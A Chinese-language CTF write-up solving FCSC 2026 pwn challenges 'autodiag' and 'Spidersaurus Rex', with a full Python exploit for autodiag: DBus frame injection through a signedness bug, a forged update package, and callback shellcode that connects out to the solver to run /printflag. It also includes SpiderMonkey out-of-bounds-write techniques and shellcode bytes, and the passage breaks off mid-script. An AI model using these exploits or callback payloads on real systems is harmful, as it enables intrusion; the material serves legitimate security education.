前言

Hackropole是由法国国家网络安全局ANSSI维护的安全挑战平台,收录了历届FCSC赛题。笔者完成其中收录的FCSC 2026的12道Pwn题后,发现这些题目整体质量较高,题型也比较新颖,配套环境十分完整,非常适合学习。然而,目前公开题解仍较为零散、简略,且仅覆盖其中少数题目,可检索到的中文资料更是几乎没有。因此,本系列将尽量详细地讲解全部 12 道题的解题思路与具体解法。

考虑到将 12 道题全部放在一篇文章中篇幅过长,本系列将分为上下两篇,本文包含5道题目。

题目链接:https://hackropole.fr/en/pwn/

autodiag

题目考点

整数符号转换、结构体越界索引、DBus协议帧注入、update包完整性校验缺陷。

题面说This debug port looks promising.,附件里给了Docker和源码,并且要求必须通过容器暴露的网络端口交互。服务起来以后,外面连的是ivi_server,它收一个自定义IVI协议;里面还有一个ivi_dbusd,通过/run/ivi/bus.sock提供DBus接口。最终目标是读/flag.txt,容器里给了一个setuid root的/printflag。

几个主要ELF保护都开得比较全:

ivi_server: Full RELRO, Canary found, NX enabled, PIE enabled
ivi_dbusd: Full RELRO, Canary found, NX enabled, PIE enabled
ivi_update_runner: Full RELRO, Canary found, NX enabled, PIE enabled

所以这题不是拿到一个溢出后直接ROP,而是要顺着服务自己的状态和内部IPC打。

主线

先把利用链放出来,后面逐段解释:

TCP连ivi_server
  -> OP_HEALTHCHECK确认server到DBus的连接可用
  -> OP_RESP里用conn_id符号转换绕过,目标fd打到dbus_sock_fd
  -> 通过这个fd写入一条裸DBus RunUpdate(string) method call
  -> RunUpdate调用setuid nobody的ivi_update_runner
  -> update runner校验有缺陷,可以复用合法包的header/signature/key blob重加密自己的payload
  -> payload执行/printflag,把输出回连回来

这条链里最关键的转换是:外部TCP协议本来只能往conn_fds[idx]写数据,但idx检查写错以后,可以把写入目标换成ivi_server内部已经认证过的DBus socket。后面就不是传统内存劫持,而是借这个socket向DBus服务发合法方法调用。

服务入口和IVI帧

Docker里不是ivi_server --network直接监听端口,而是run.sh用socat包了一层:

/usr/bin/socat TCP-LISTEN:4000,reuseaddr,fork EXEC:/usr/local/bin/ivi_server &

所以每次TCP连接都会起一个新的ivi_server进程,ivi_server从stdin读IVI帧,从stdout写响应。这个进程启动后会连接/run/ivi/bus.sock,拿到后面要用的dbus_sock_fd。这也是为什么exp只需要一条TCP连接:状态、DBus fd和我们的请求都在同一个ivi_server进程里。

IVI协议头固定20字节,小端:

struct MsgHdr {
    uint32_t magic;    // 0x30495649
    uint32_t version;  // 1
    uint32_t op;
    uint32_t body_len;
    uint32_t req_id;
};

响应也沿用同一个头,只是在body最前面多一个uint32_t status。这就是exp里send_ivi()做的事:发MsgHdr||body,再读回MsgHdr||status||payload。

和利用有关的OP_RESP body是:

u64 conn_id
u64 payload_len
payload bytes

正常语义是把payload发到conn_fds[conn_id]。但我们后面会让conn_id越界命中dbus_sock_fd,于是payload就变成写给DBus总线的裸字节。

从conn_id到dbus_sock_fd

ivi_server维护的状态结构如下:

struct ServerState {
    int conn_fds[MAX_CONN_SLOTS];
    int dbus_sock_fd;

    uint64_t conn_tx_msgs[MAX_CONN_SLOTS];
    uint64_t conn_tx_bytes[MAX_CONN_SLOTS];

    DBusConnection *dbus_conn;
    ...
};

MAX_CONN_SLOTS是10。conn_fds是int[10],一共40字节,后面紧跟着另一个int dbus_sock_fd。connect_dbus_manager里会先连unix:path=/run/ivi/bus.sock,然后dbus_bus_register完成DBus认证和注册,最后用dbus_connection_get_unix_fd把底层fd存进dbus_sock_fd:

conn = dbus_connection_open_private(DBUS_ADDR, &err);
...
dbus_bus_register(conn, &err);
...
dbus_connection_get_unix_fd(conn, &fd);
st->dbus_conn = conn;
st->dbus_sock_fd = fd;

外部能直接触发的是OP_RESP:

static int op_resp(struct ServerState *st, int client_fd, const struct MsgHdr *hdr,
                   const uint8_t *body) {
    size_t off = 0;
    size_t conn_id = 0;
    size_t payload_len = 0;
    size_t max_len = 0;
    const uint8_t *payload = NULL;
    int target_fd;
    uint8_t frame[MAX_RESP_FRAME];
    uint32_t sent;
    int64_t idx;

    if (parse_u64(body, hdr->body_len, &off, &conn_id) != 0 ||
        parse_u64(body, hdr->body_len, &off, &payload_len) != 0) {
        return send_response(client_fd, hdr->op, hdr->req_id, ST_INVALID, NULL, 0);
    }

    max_len = (size_t)hdr->body_len - off;
    if (max_len > sizeof(frame)) {
        return send_response(client_fd, hdr->op, hdr->req_id, ST_INVALID, NULL, 0);
    }

    idx = (int64_t)conn_id;
    if (idx > MAX_CONN_SLOTS - 1) {
        return send_response(client_fd, hdr->op, hdr->req_id, ST_INVALID, NULL, 0);
    }

    target_fd = st->conn_fds[idx];
    if (target_fd < 0) {
        return send_response(client_fd, hdr->op, hdr->req_id, ST_NOTFOUND, NULL, 0);
    }

    if (payload_len > sizeof(frame)) {
        return send_response(client_fd, hdr->op, hdr->req_id, ST_INVALID, NULL, 0);
    }

    parse_blob(body, hdr->body_len, &off, &payload, (uint32_t)max_len);
    memcpy(frame, payload, max_len);
    send(target_fd, frame, payload_len, 0);
    ...
}

这里有两个细节:

  1. conn_id按uint64_t解析,然后转成int64_t idx。
  2. 检查只有idx > 9,没有检查idx < 0。

如果只传-1,会访问conn_fds[-1],这个方向不一定有用。真正想要的是conn_fds[10],因为它就是dbus_sock_fd。正常传10会被idx > 9拦掉,所以需要找一个“按有符号数看是负数,按数组寻址低位看是10”的值:

conn_id = 0x800000000000000a

转成int64_t后它是负数,可以过idx > 9。而编译后的取fd逻辑是类似:

mov    rax,QWORD PTR [rbp-0x858]   ; st
mov    rdx,QWORD PTR [rbp-0x820]   ; idx
mov    eax,DWORD PTR [rax+rdx*4]   ; st->conn_fds[idx]

x86-64有效地址计算是64位wrap的。0x800000000000000a * 4 = 0x20000000000000028,截断到64位后就是0x28,也就是40字节。conn_fds[10]正好在结构体开头后40字节,因此这里读出的target_fd就是dbus_sock_fd。

于是OP_RESP变成了一个很强的primitive:

把任意最多0x800字节,写到ivi_server已经认证过的DBus连接fd上

注意这里不需要劫持返回地址,也不需要知道PIE/libc地址。我们借的是程序自己的内部连接。

为什么DBus消息能拆成多次写

这个点容易跳过去,但它是这题能稳定利用的原因之一。

先明确我们写到的是谁。dbus_sock_fd不是ivi_dbusd进程的stdin,也不是某个普通文件,而是ivi_server作为一个DBus客户端连到bus daemon的Unix socket。RunUpdate真正由ivi_dbusd处理,bus daemon负责把发往com.acme.ivi.ServiceManager的method call路由过去。

这个连接在我们接管前已经是合法DBus连接。connect_dbus_manager()里先dbus_connection_open_private,再dbus_bus_register,也就是libdbus已经完成认证、BEGIN、注册到bus这些步骤。我们没有从头伪造一条DBus连接,而是在一个已经进入“正常消息传输阶段”的连接上继续塞method call。

DBus常见传输层是Unix stream socket。stream socket只保证字节顺序,不保留应用层消息边界。也就是说,一条DBus消息可以被一次write写完,也可以被拆成多次write;接收端看到的只是同一条有序字节流。OP_RESP每次调用都会执行一次send(target_fd, frame, payload_len, 0),多次OP_RESP最终就是对同一个dbus_sock_fd连续写多段bytes。

DBus消息自身有framing。消息开头的固定头部里包含:

endianness
message type
flags
protocol version
body length
serial
header fields length
header fields
padding
body

bus daemon从socket里读数据时,会先攒够固定头和header fields,然后根据body length和header fields length算出完整消息长度,再继续读body。只要最终字节流连续且内容合法,中间拆成几段写入不影响解析。拆包发生在传输层,DBus消息边界由DBus自己的长度字段恢复。

这里还有个时序问题:如果我们分块发,第一块到达bus daemon以后可能只是一条不完整DBus消息。这个没有关系,bus daemon会继续在同一个stream上等后面的字节。ivi_server对每个OP_RESP都会给我们回一个IVI响应,这个响应走的是TCP stdout,不会写进DBus fd,所以不会污染DBus消息流。

OP_RESP本身每次最多发0x800字节:

#define MAX_RESP_FRAME 2048
...
if (payload_len > sizeof(frame)) invalid;
send(target_fd, frame, payload_len, 0);

所以exp里把DBus帧按0x800切开,多次调用OP_RESP。本题最终RunUpdate帧长度只有一千多字节,其实一次写也够,分块是为了让脚本对payload长度变化更稳。只要所有块按顺序写入同一个dbus_sock_fd,bus daemon看到的就是一条完整method call。

还有一点:我们不靠DBus reply拿flag。RunUpdate方法会返回字符串,但这条调用是我们绕过libdbus对象直接写到底层fd的,ivi_server没有通过dbus_connection_send_with_reply_and_block等待这个serial。reply即使回到这个DBus连接,也不一定能通过IVI协议返回给我们。利用里只把DBus当触发器,flag由payload主动回连带出来。

构造RunUpdate调用

DBus服务里可用的方法不少,和执行有关的是RunUpdate:

if (dbus_message_is_method_call(msg, IVI_DBUS_IFACE, "RunUpdate")) {
    const char *payload = nullptr;
    DBusError err;

    dbus_error_init(&err);
    if (!dbus_message_get_args(msg, &err, DBUS_TYPE_STRING, &payload,
                               DBUS_TYPE_INVALID)) {
        ...
    }

    std::string update = payload ? payload : "";
    return send_string(conn, msg, run_update(update));
}

run_update会fork执行/opt/ivi/bin/ivi_update_runner,参数就是base64字符串:

char *const argv[] = {const_cast<char *>("/opt/ivi/bin/ivi_update_runner"),
                      const_cast<char *>(b64_update.c_str()), nullptr};
execv(argv[0], argv);

所以DBus帧需要表达的是:

destination: com.acme.ivi.ServiceManager
path:        /com/acme/ivi/ServiceManager
interface:   com.acme.ivi.ServiceManager
member:      RunUpdate
signature:   s
body:        forged_update_base64

对应到DBus header field code就是:

1 PATH
2 INTERFACE
3 MEMBER
6 DESTINATION
8 SIGNATURE

消息开头四个字节在exp里写成:

bytes([ord("l"), 1, 0, 1])

含义分别是小端、message type为method call、flags为0、protocol version为1。后面接body length、serial、header fields length。serial不需要和libdbus内部计数同步,只要这条连接上没有依赖这个serial的等待逻辑即可;我们刚做完一次OP_HEALTHCHECK,它会同步等自己的DBus Ping返回,之后没有pending call,所以这里用一个固定值就够了。

DBus里字符串编码是u32 len || bytes || NUL,signature是u8 len || bytes || NUL。header fields是一个array of struct,每个field struct按8字节对齐,variant内部还要按被包裹类型的alignment补padding。整个header结束后也要补到8字节对齐,再接body。这里没有必要实现完整DBus库,只要把本题用到的object path/string/signature几种类型编码对即可。

我这里用dbus-send配合strace抓过一条真实RunSelfTest(string)调用对照,确认字段顺序和padding没有问题。EXP里的dbus_method_call_one_string()就是这个格式的最小实现。

update包伪造

继续看ivi_update_runner:

static std::vector<uint8_t> decode_update_payload(const std::string &b64_update) {
    auto buf = base64_decode(b64_update);
    if (memcmp(buf.data(), "UPD0", 4) != 0) {
        throw std::runtime_error("bad magic");
    }

    uint32_t h_size = read_u32_le(buf.data() + 8);
    ...
    size_t off_sig = (size_t)h_size;
    size_t off_key = off_sig + SIG_BYTES;
    size_t off_ct = off_key + KEY_BLOB_BYTES;
    ...
    auto hdr_hash = sha256(buf.data(), (size_t)h_size);
    auto sig_plain = rsa_public_raw_256(rsa, buf.data() + off_sig);
    if (memcmp(sig_plain.data(), hdr_hash.data(), 32) != 0) {
        RSA_free(rsa);
        throw std::runtime_error("signature check failed");
    }

    auto key_plain = rsa_public_raw_256(rsa, buf.data() + off_key);
    uint8_t aes_key[AES_KEY_BYTES];
    memcpy(aes_key, key_plain.data(), AES_KEY_BYTES);

    std::vector<uint8_t> ct(buf.begin() + (long)off_ct, buf.end());
    auto pt = aes256_cbc_decrypt_zero_iv(ct, aes_key);
    pt = pkcs7_unpad(std::move(pt));

    RSA_free(rsa);
    return gunzip_all(pt);
}

update格式可以整理成:

header(h_size) || sig(0x100) || key_blob(0x100) || ciphertext

签名检查是:

rsa_public_raw(sig)[:32] == sha256(header)

也就是说签名只覆盖header,不覆盖key_blob,更不覆盖ciphertext。另外这里不是标准RSA签名验签,也没有PKCS#1 padding检查,只是做了一次S^e mod n以后拿明文前32字节比较hash。

AES key的处理也类似:

key_plain = rsa_public_raw(key_blob)
aes_key = key_plain[:32]

这里的关键是rsa_public_raw只需要公钥。它没有做“只有私钥才能解”的操作,而是直接算blob^e mod n。public key和现有合法update.bin都在附件里,所以我们可以对原key_blob做完全相同的运算,把runner后续会使用的AES key算出来。

到这里不需要伪造签名,也不需要修改header。直接复用原来的header||sig||key_blob,只替换最后的ciphertext:

new_update = old_header || old_sig || old_key_blob || AES_CBC_0(gzip(payload_elf))

签名仍然过,因为header没变。key也仍然对,因为key blob没变。密文没被认证,所以解出来就是我们的gzip ELF。AES模式是AES-256-CBC,IV固定全0,padding是PKCS#7;解密后还要gunzip_all,所以payload要先gzip再加密。

大小约束也要看一下。DBus的RunUpdate参数最多256KiB,IVI单个请求body最多64KiB,OP_RESP单次写DBus最多0x800字节。我们的ELF gzip后很小,base64后的update也只有一千多字节,完全在限制内。如果换成更大的payload,DBus消息可以继续按0x800分块写;每个OP_RESP请求的body保持在协议限制内即可,完整DBus消息不需要落在单个IVI请求里。

解密后进入exec_payload_memfd:

int fd = memfd_create("ivi_update_payload", 0);
fchmod(fd, 0755);
write_all(fd, payload.data(), payload.size());
...
execveat(fd, "", argv, environ, AT_EMPTY_PATH)

这里会直接执行解出来的ELF。runner的euid是nobody,不是root,但/printflag是setuid root,所以payload只需要执行/printflag并把输出带出来。

为什么payload要自己回连?因为run_update本来会捕获runner的stdout/stderr并作为DBus返回值返回,但这条DBus调用不是通过ivi_server的正常RPC路径发出去的,我们没有一个IVI op能读到这次method return。让payload先connect(callback_host, callback_port),再dup2到stdout/stderr,最后execve("/printflag"),flag就从我们的监听socket回来,不依赖DBus reply。

EXP

完整exp如下。这是实际使用的autosolve/artifacts/exploit.py版本,所以脚本里用parents[2]取题目根目录。默认打本机127.0.0.1:4000,如果本地把容器4000映射到了其他端口,改--target-port即可。--callback-host需要填容器能连到的宿主机地址,Docker默认bridge下一般是172.17.0.1。

import argparse
import base64
import gzip
import socket
import struct
import time
from pathlib import Path

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from pwn import asm, context, make_elf, shellcraft


ROOT = Path(__file__).resolve().parents[2]
UPDATE_BIN = ROOT / "autosolve/artifacts/autodiag/src/helper/update.bin"
PUBLIC_PEM = ROOT / "autosolve/artifacts/autodiag/src/helper/public.pem"
RUNS = ROOT / "autosolve/runs"
ARTIFACTS = ROOT / "autosolve/artifacts"

IVI_MAGIC = 0x30495649
IVI_VERSION = 1
OP_HEALTHCHECK = 5
OP_RESP = 3
ST_OK = 0

DBUS_FD_CONN_ID = 0x800000000000000A
MAX_CHUNK = 2048
SERVICE = "com.acme.ivi.ServiceManager"
PATH = "/com/acme/ivi/ServiceManager"


def p32(x):
    return struct.pack("<I", x)


def p64(x):
    return struct.pack("<Q", x)


def recvn(sock, n):
    out = b""
    while len(out) < n:
        chunk = sock.recv(n - len(out))
        if not chunk:
            raise EOFError(f"short read: wanted {n}, got {len(out)}")
        out += chunk
    return out


def send_ivi(sock, op, body=b"", req_id=1):
    hdr = p32(IVI_MAGIC) + p32(IVI_VERSION) + p32(op) + p32(len(body)) + p32(req_id)
    sock.sendall(hdr + body)
    rh = recvn(sock, 20)
    magic, version, rop, body_len, rid = struct.unpack("<IIIII", rh)
    body = recvn(sock, body_len) if body_len else b""
    if magic != IVI_MAGIC or version != IVI_VERSION or rop != op or rid != req_id:
        raise RuntimeError(f"bad IVI response header: {rh.hex()}")
    status = struct.unpack("<I", body[:4])[0] if len(body) >= 4 else None
    return status, body[4:]


def pad_len(n, align):
    return (-n) % align


def dbus_string(s):
    b = s.encode()
    return p32(len(b)) + b + b"\0"


def dbus_signature(sig):
    b = sig.encode()
    return bytes([len(b)]) + b + b"\0"


def dbus_field(code, sig, value, value_align):
    out = bytes([code]) + dbus_signature(sig)
    out += b"\0" * pad_len(len(out), value_align)
    out += value
    return out


def dbus_method_call_one_string(member, arg, serial=0x1337):
    fields = [
        (1, "o", dbus_string(PATH), 4),
        (2, "s", dbus_string(SERVICE), 4),
        (3, "s", dbus_string(member), 4),
        (6, "s", dbus_string(SERVICE), 4),
        (8, "g", dbus_signature("s"), 1),
    ]

    header_fields = b""
    for f in fields:
        header_fields += b"\0" * pad_len(len(header_fields), 8)
        header_fields += dbus_field(*f)

    body = dbus_string(arg)
    hdr = bytes([ord("l"), 1, 0, 1])
    hdr += p32(len(body)) + p32(serial) + p32(len(header_fields)) + header_fields
    hdr += b"\0" * pad_len(len(hdr), 8)
    return hdr + body


def raw_rsa_public(pub_path, blob):
    key = serialization.load_pem_public_key(pub_path.read_bytes(), backend=default_backend())
    nums = key.public_numbers()
    m = pow(int.from_bytes(blob, "big"), nums.e, nums.n)
    return m.to_bytes(256, "big")


def aes_cbc_encrypt_zero_iv(key, plaintext):
    pad = 16 - (len(plaintext) % 16)
    plaintext += bytes([pad]) * pad
    cipher = Cipher(algorithms.AES(key), modes.CBC(b"\0" * 16), backend=default_backend())
    enc = cipher.encryptor()
    return enc.update(plaintext) + enc.finalize()


def make_callback_elf(host, port):
    context.clear(arch="amd64", os="linux")
    sc = shellcraft.amd64.linux.connect(host, port)
    sc += shellcraft.amd64.linux.dup2("rbp", 1)
    sc += shellcraft.amd64.linux.dup2("rbp", 2)
    sc += shellcraft.amd64.linux.execve("/printflag", 0, 0)
    elf = make_elf(asm(sc), extract=True)
    payload_path = ARTIFACTS / "callback_printflag.elf"
    payload_path.write_bytes(elf)
    return elf


def make_update(payload_elf):
    buf = UPDATE_BIN.read_bytes()
    if buf[:4] != b"UPD0":
        raise RuntimeError("bad update template magic")

    h_size = struct.unpack("<I", buf[8:12])[0]
    off_sig = h_size
    off_key = off_sig + 256
    off_ct = off_key + 256
    header_sig_key = buf[:off_ct]
    key_blob = buf[off_key:off_ct]
    aes_key = raw_rsa_public(PUBLIC_PEM, key_blob)[:32]

    compressed = gzip.compress(payload_elf)
    ct = aes_cbc_encrypt_zero_iv(aes_key, compressed)
    update = header_sig_key + ct
    update_path = ARTIFACTS / "forged_update.bin"
    update_path.write_bytes(update)
    b64 = base64.b64encode(update).decode()
    (ARTIFACTS / "forged_update.b64").write_text(b64)
    return b64


def send_dbus_frame(sock, frame):
    for i in range(0, len(frame), MAX_CHUNK):
        chunk = frame[i : i + MAX_CHUNK]
        body = p64(DBUS_FD_CONN_ID) + p64(len(chunk)) + chunk
        status, payload = send_ivi(sock, OP_RESP, body, req_id=0x5000 + i // MAX_CHUNK)
        if status != ST_OK:
            raise RuntimeError(
                f"OP_RESP chunk {i // MAX_CHUNK} failed: status={status} payload={payload!r}"
            )


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--target-host", default="127.0.0.1")
    parser.add_argument("--target-port", type=int, default=4000)
    parser.add_argument("--callback-host", default="172.17.0.1")
    parser.add_argument("--callback-port", type=int, default=0)
    parser.add_argument("--listen-host", default="0.0.0.0")
    parser.add_argument("--timeout", type=float, default=8.0)
    args = parser.parse_args()

    RUNS.mkdir(parents=True, exist_ok=True)

    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind((args.listen_host, args.callback_port))
    listener.listen(1)
    callback_port = listener.getsockname()[1]

    payload = make_callback_elf(args.callback_host, callback_port)
    b64_update = make_update(payload)
    frame = dbus_method_call_one_string("RunUpdate", b64_update)

    transcript = RUNS / f"exploit_{int(time.time())}.txt"
    with transcript.open("wb") as log:
        log.write(f"target={args.target_host}:{args.target_port}\n".encode())
        log.write(f"callback={args.callback_host}:{callback_port}\n".encode())
        log.write(
            f"payload_len={len(payload)} update_b64_len={len(b64_update)} "
            f"dbus_frame_len={len(frame)}\n".encode()
        )

        with socket.create_connection((args.target_host, args.target_port), timeout=args.timeout) as s:
            s.settimeout(args.timeout)
            status, payload = send_ivi(s, OP_HEALTHCHECK, b"", req_id=0x4444)
            log.write(f"healthcheck status={status} payload={payload!r}\n".encode())
            if status != ST_OK:
                raise RuntimeError("DBus healthcheck failed")
            send_dbus_frame(s, frame)
            log.write(b"dbus RunUpdate frame sent\n")

        listener.settimeout(args.timeout)
        conn, addr = listener.accept()
        with conn:
            conn.settimeout(args.timeout)
            data = b""
            while True:
                try:
                    chunk = conn.recv(4096)
                except socket.timeout:
                    break
                if not chunk:
                    break
                data += chunk
        log.write(f"callback_addr={addr}\n".encode())
        log.write(b"callback_data_hex=" + data.hex().encode() + b"\n")
        log.write(b"callback_data_ascii=" + data + b"\n")

    print(data.decode(errors="replace").strip())
    print(f"[transcript] {transcript}")


if __name__ == "__main__":
    main()

结果

本地用官方Docker服务打通,回连里能收到/printflag输出:

FCSC{a6aec868d6ea0391656786b72aa7a333e4c2a35180897dc38cfc96330faaf685}

Spidersaurus Rex

题目给的是一个很老的SpiderMonkey,加了一个“未来JIT”的补丁。提示已经很直白:what happens if a function contains 65536 variables?

最终利用链是:

  1. 构造一个含65536个局部变量的函数,让JSFunction.nvars从uint16回绕到0。
  2. 编译阶段仍然给这些变量生成16位slot操作数,执行阶段却按0个局部变量分配frame。
  3. JSOP_SETVAR变成相对fp->vars的越界写。
  4. 用越界写改一个普通对象的JSSLOT_CLASS,伪造JSClass.convert。
  5. shellcode放进早期heap中的JS字符串,由题目里的mprotect(..., -1, RWX)获得可执行权限。
  6. 调用被改坏的对象,js_Invoke走clasp->convert,跳到shellcode读flag.txt。

题目要求必须通过Docker暴露出来的TCP端口交互,并且发送完JS以后要shutdown(SHUT_WR)触发执行。这个要求会影响heap布局,所以后面的offset都按TCP/stdin模式调。

nvars回绕

先看函数结构体:

struct JSFunction {
    jsrefcount   nrefs;
    JSObject     *object;
    JSNative     call;
    uint8        nargs;
    uint8        flags;
    uint16       extra;
    uint16       nvars;
    uint16       spare;
    JSAtom       *atom;
    JSScript     *script;
};

nvars只有16位。声明局部变量时,parser给当前变量分配slot:

if (getter == js_GetLocalVariable) {
    sprop = (JSScopeProperty *)prop;
    sprop->id = INT_TO_JSVAL(fun->nvars++);
}

这里的关键不是“最终fun->nvars是多少”,而是“每个变量声明时拿到的slot是多少”。如果变量名互不重复,v0到v65535会依次拿到slot0..65535,第65536次自增之后fun->nvars才回绕成0。

代码生成阶段也没有再按最终nvars截断。TOK_NAME如果有pn_slot,直接把slot作为两字节操作数写进bytecode:

#define EMIT_ATOM_INDEX_OP(op, atomIndex) \
    js_Emit3(cx, cg, op, ATOM_INDEX_HI(atomIndex), ATOM_INDEX_LO(atomIndex))

case TOK_NAME:
    if (pn->pn_slot >= 0) {
        EMIT_ATOM_INDEX_OP(pn->pn_op, (jsatomid) pn->pn_slot);
        break;
    }

解释器取局部变量slot也是读这两个字节:

#define GET_ARGC(pc)  (((pc)[1] << 8) | (pc)[2])
#define GET_VARNO(pc) GET_ARGC(pc)

所以nvars回绕以后,仍然能有getvar/setvar 0xffff这种带16位slot的字节码。回绕只影响运行时frame怎么分配,不会抹掉已经存在于parse tree和bytecode里的slot立即数。

执行函数时,js_Invoke把fun->nvars复制到frame:

nvars = fun->nvars;
frame.nvars = nvars;

nslots = (intN)frame.nvars;
if (nslots) {
    newsp = js_AllocStack(cx, (uintN)nslots, NULL);
    ...
}

回绕后frame.nvars=0,不会为局部变量分配空间。但JSOP_SETVAR仍然信任bytecode里的slot:

case JSOP_SETVAR:
    slot = (uintN)GET_VARNO(pc);
    PR_ASSERT(slot < fp->fun->nvars);
    vp = &fp->vars[slot];
    *vp = sp[-1];
    break;

PR_ASSERT在发布构建里不是有效防线,于是v2048=...、v2050=...这类赋值就变成了从fp->vars往后的四字节写。

从越界写到convert

SpiderMonkey的对象结构很小:

struct JSObject {
    JSObjectMap *map;
    jsval       *slots;
};

#define JSSLOT_PROTO   0
#define JSSLOT_PARENT  1
#define JSSLOT_CLASS   2

对象创建时,class指针存在slots[2]:

obj->slots = JS_malloc(cx, JS_INITIAL_NSLOTS * sizeof(jsval));
obj->slots[JSSLOT_CLASS] = PRIVATE_TO_JSVAL(clasp);

取class时会把最低位tag清掉:

#define OBJ_GET_CLASS(cx,obj) \
    ((JSClass *)JSVAL_TO_PRIVATE(OBJ_GET_SLOT(cx, obj, JSSLOT_CLASS)))

而JSClass里convert字段在偏移0x20:

struct JSClass {
    char          *name;
    uint32        flags;
    JSPropertyOp  addProperty;
    JSPropertyOp  delProperty;
    JSPropertyOp  getProperty;
    JSPropertyOp  setProperty;
    JSEnumerateOp enumerate;
    JSResolveOp   resolve;
    JSConvertOp   convert;
    JSFinalizeOp  finalize;
    ...
};

js_Invoke调用一个对象时,如果它的class不是js_FunctionClass,会尝试把它convert成函数:

clasp = OBJ_GET_CLASS(cx, funobj);
if (clasp != &js_FunctionClass) {
    ops = funobj->map->ops;
    ok = clasp->convert(cx, funobj, JSTYPE_FUNCTION, &v);
    ...
}

这就给了一个很干净的劫持点:把普通对象g的slots[2]改成伪造JSClass,再把伪造class的convert填成shellcode入口,最后执行g()。

payload里把g={}放在漏洞函数内部创建,但g本身是全局变量:

var g;
function f() {
    var v0,v1,...,v65535;
    g = {};
    ...
}
f();
g();

这样做有两个好处。第一,g.slots会落在fp->vars后面固定距离,能被局部变量OOB写到。第二,f()返回以后全局g还活着,后面调用g()时被污染的slots不会被回收。

TCP/stdin模式下调出来的稳定布局是:

vars    = break + 0xc825c0
g.slots = break + 0xc845c0

所以g.slots-vars=0x2000。要写g.slots[2],目标地址是g.slots+8,对应slot:

(0x2000 + 8) / 4 = 0x802 = 2050

也就是写v2050。

伪造的JSClass直接放在g.slots+0x100。convert偏移0x20,所以写fake_class->convert的目标是:

g.slots + 0x100 + 0x20

对应slot:

(0x2000 + 0x100 + 0x20) / 4 = 0x848 = 2120

也就是先写v2120=shell_entry,再写v2050=PRIVATE_TO_JSVAL(fake_class)。

JSVAL的低位限制

这里不能忽略JSVAL编码。32位JSVAL的整数和private pointer都是靠最低位区分:

#define JSVAL_TO_INT(v)      ((jsint)(v) >> 1)
#define INT_TO_JSVAL(i)      (((jsval)(i) << 1) | JSVAL_INT)

#define JSVAL_TO_PRIVATE(v)  ((void *)((v) & ~JSVAL_INT))
#define PRIVATE_TO_JSVAL(p)  ((jsval)(p) | JSVAL_INT)

越界写来自JS里的整数赋值,解释器实际写进内存的是INT_TO_JSVAL(i),所以能直接写出的raw dword最低位必须是1。EXP里的转换函数就是做这个反变换:

def jsint_for_raw_word(word):
    word &= 0xffffffff
    if (word & 1) == 0:
        raise ValueError("not encodable")
    value = word >> 1
    if value >= 0x40000000:
        value -= 0x80000000
    return value

这个限制正好也符合JSSLOT_CLASS的格式:slot里应该放PRIVATE_TO_JSVAL(fake_class),也就是fake_class|1,OBJ_GET_CLASS会在使用时清掉最低位。

真正麻烦的是convert函数指针。clasp->convert不是JSVAL,调用时不会清tag,所以写进去的raw值就是CPU要跳的地址。因为我们只能写奇数raw dword,shellcode入口也必须是奇数地址。解决办法是在JS字符串开头放一个填充字节,shellcode从chars+1开始执行。

shellcode放哪里

补丁里有这段:

JIT_buffer = (unsigned char *)malloc(PAGE_SIZE);
mprotect((void *)(((unsigned int)JIT_buffer) & 0xFFFFF000),
         -1,
         PROT_READ|PROT_WRITE|PROT_EXEC);

mprotect第二个参数是size_t,32位下-1会变成0xffffffff。起点是JIT_buffer所在heap页,长度巨大;在这道题的运行环境里,内核会从这个heap页开始处理后面的映射,前面已经处理过的heap VMA会变成rwxp。即使后面遇到空洞导致调用不能覆盖完整区间,程序也没有检查返回值。实际调maps能看到早期heap是rwxp,后来brk继续长出来的heap页仍然是rw-p。

这也是为什么不能直接把shellcode放在g.slots附近。g是在读入大段JS源码、解析、建函数之后才分配的,位置已经在后面那段rw-pheap里,跳过去会因为NX崩掉。

题目提示还说JS字符串可以包含任意二进制,例如邐邐。JSString结构如下:

struct JSString {
    size_t length;
    jschar *chars;
};

字符串拷贝会先用JS_malloc分配chars,再复制内容:

news = (jschar *)JS_malloc(cx, (n + 1) * sizeof(jschar));
js_strncpy(news, s, n);
str = js_NewString(cx, news, n, gcflag);

把shellcode放在全局字符串var sc="..."里,chars会落在早期heap的可执行区域,并且全局变量会让它活到g()触发时。最终采用的入口是:

sc.chars = break - 0x153b0
entry    = break - 0x153b0 + 1

这里的+1就是前面说的JSVAL奇数限制。

offset的定位依据

题目本身在启动后调用了一次GC,补丁会打印当前sbrk(0):

printf("before %lu, after %lu, break %08lx\n",
       preBytes, rt->gcBytes, sbrk(0));

所以每次TCP连接开始都有一个heap基准,例如最终打通时stdout开头是:

before 4050, after 4041, break 6340d000

break+0xc825c0是用JSOP_SETVAR里的调试输出定位的。补丁在slot0赋值时打印&fp->vars[0]:

vp = &fp->vars[slot];
*vp = sp[-1];
if (slot == 0) print_hex((unsigned int)vp);

在同样的TCP/stdin输入模式下加一次v0=...探针,可以直接得到fp->vars,换算成break+0xc825c0。

break+0xc845c0来自js_Invoke的非函数调用调试输出。补丁在clasp != &js_FunctionClass时打印:

print_hex((unsigned int)funobj->slots);
print_hex((unsigned int)clasp);
print_hex((unsigned int)clasp->convert);
print_hex(*(unsigned int *)(clasp->convert));

最终触发g()时stderr里能看到:

640915C0
640916C0
633F7C51
E789C031

结合break=0x6340d000:

funobj->slots  = 0x640915c0 = break + 0xc845c0
clasp          = 0x640916c0 = g.slots + 0x100
clasp->convert = 0x633f7c51 = break - 0x153b0 + 1

最后一行E789C031是*(uint32_t *)clasp->convert。内存字节是31 c0 89 e7,正好是shellcode开头,说明convert已经跳到字符串chars+1,不是跳进了g.slots那段不可执行heap。

EXP

下面EXP只依赖官方TCP交互模式。默认连127.0.0.1:4000,如果本地映射了其他端口,用--port改一下即可。

import argparse
import re
import socket
import struct
import sys


OFF_VARS = 0xC825C0
OFF_SLOTS = 0xC845C0
OFF_SC_CHARS = 0x153B0
JSCLASS_CONVERT = 0x20

SHELLCODE = bytes.fromhex(
    "31c089e789e34545b066aa45b06caa45b061aa45b067aa45b02eaa45b074aa"
    "45b078aa45b074aa45b000aa31c031c931d2b005cd8089c34581ec00010000"
    "89e1b2804531c0b003cd8089c231db434531c0b004cd8031db31c0b001cd80"
)


def jsint_for_raw_word(word):
